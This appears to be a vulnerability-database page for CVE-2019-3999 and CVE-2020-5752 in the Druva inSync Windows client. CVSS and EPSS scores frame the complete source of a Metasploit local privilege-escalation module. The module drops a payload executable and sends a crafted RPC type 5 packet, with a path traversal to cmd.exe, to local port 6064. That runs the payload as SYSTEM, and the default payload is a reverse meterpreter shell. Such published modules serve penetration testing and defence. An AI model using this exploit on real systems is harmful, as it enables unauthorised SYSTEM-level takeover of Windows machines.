7.2 High
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.9 High
AI Score
Confidence
High
0.002 Low
EPSS
Percentile
53.3%
Druva inSync client for Windows exposes a network service on TCP port 6064 on the local network interface. inSync versions 6.6.3 and prior do not properly validate user-supplied program paths in RPC type 5 messages, allowing execution of arbitrary commands as SYSTEM. This module has been tested successfully on inSync versions 6.5.2r99097 and 6.6.3r102156 on Windows 7 SP1 (x64).
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Post::File
include Post::Windows::Priv
include Post::Windows::Services
include Exploit::EXE
include Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation',
'Description' => %q{
Druva inSync client for Windows exposes a network service on TCP
port 6064 on the local network interface. inSync versions 6.6.3
and prior do not properly validate user-supplied program paths
in RPC type 5 messages, allowing execution of arbitrary commands
as SYSTEM.
This module has been tested successfully on inSync versions
6.5.2r99097 and 6.6.3r102156 on Windows 7 SP1 (x64).
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Lyne', # (@lynerc) Discovery and exploit (CVE-2019-3999); discovery of traversal bypass (CVE-2020-5752) for CVE-2019-3999 patch.
'Matteo Malvica', # Duplicate independent discovery of traversal bypass (CVE-2020-5752)
'bcoles' # Metasploit
],
'References' => [
['CVE', '2019-3999'],
['CVE', '2020-5752'],
['EDB', '48400'],
['EDB', '48505'],
['EDB', '49211'],
['PACKETSTORM', '157493'],
['PACKETSTORM', '157802'],
['PACKETSTORM', '160404'],
['URL', 'https://www.tenable.com/security/research/tra-2020-12'],
['URL', 'https://www.tenable.com/security/research/tra-2020-34'],
['URL', 'https://github.com/tenable/poc/blob/master/druva/inSync/druva_win_cphwnet64.py'],
['URL', 'https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/'],
],
'Platform' => [
'win'
],
'SessionTypes' => [
'meterpreter'
],
'Targets' => [
[
'Automatic',
{}
]
],
'DisclosureDate' => '2020-02-25',
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Notes' => {
'Reliability' =>
[
REPEATABLE_SESSION
],
'Stability' =>
[
CRASH_SAFE
],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_config_getenv
]
}
}
}
)
)
register_advanced_options([
OptString.new(
'WritableDir',
[
false,
'A directory where we can write files (%TEMP% by default)',
nil
]
),
])
end
def base_dir
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
end
def execute_command(host, port, command)
header = 'inSync PHC RPCW[v0002]'
rpc_type = [5].pack('V')
cmd = "C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\Windows\\System32\\cmd.exe /c \"#{command}\"".force_encoding('UTF-8').unpack('U*').pack('v*')
pkt = header
pkt << rpc_type
pkt << [cmd.length].pack('V')
pkt << cmd
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
unless result['GetLastError'] == 0
fail_with(Failure::Unknown, "Could not create socket: #{result['ErrorMessage']}")
end
socket = result['return']
sock_addr = [AF_INET].pack('v')
sock_addr << [port].pack('n')
sock_addr << Rex::Socket.addr_aton(host)
sock_addr << "\x00" * 8
print_status("Connecting to #{host}:#{port} ...")
result = client.railgun.ws2_32.connect(socket, sock_addr, sock_addr.length)
unless result['GetLastError'] == 0
fail_with(Failure::Unreachable, "Could not connect to #{host}:#{port} : #{result['ErrorMessage']}")
end
print_status("Sending packet (#{pkt.length} bytes) to #{host}:#{port} ...")
vprint_status("Sending: #{pkt.inspect}")
result = session.railgun.ws2_32.sendto(socket, pkt, pkt.length, 0, sock_addr, sock_addr.length)
unless result['GetLastError'] == 0
fail_with(Failure::NotVulnerable, "Could not send data to port: #{result['ErrorMessage']}")
end
session.railgun.ws2_32.closesocket(socket)
end
def check
service = 'inSyncCPHService'
unless service_exists?(service)
return CheckCode::Safe("Service '#{service}' does not exist.")
end
CheckCode::Detected("Service '#{service}' exists.")
end
def exploit
if is_system?
fail_with(Failure::BadConfig, 'Session already has SYSTEM privileges')
end
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
payload_exe = generate_payload_exe
vprint_status("Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ...")
write_file(payload_path, payload_exe)
register_file_for_cleanup(payload_path)
execute_command('127.0.0.1', 6064, payload_path)
end
end
7.2 High
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.9 High
AI Score
Confidence
High
0.002 Low
EPSS
Percentile
53.3%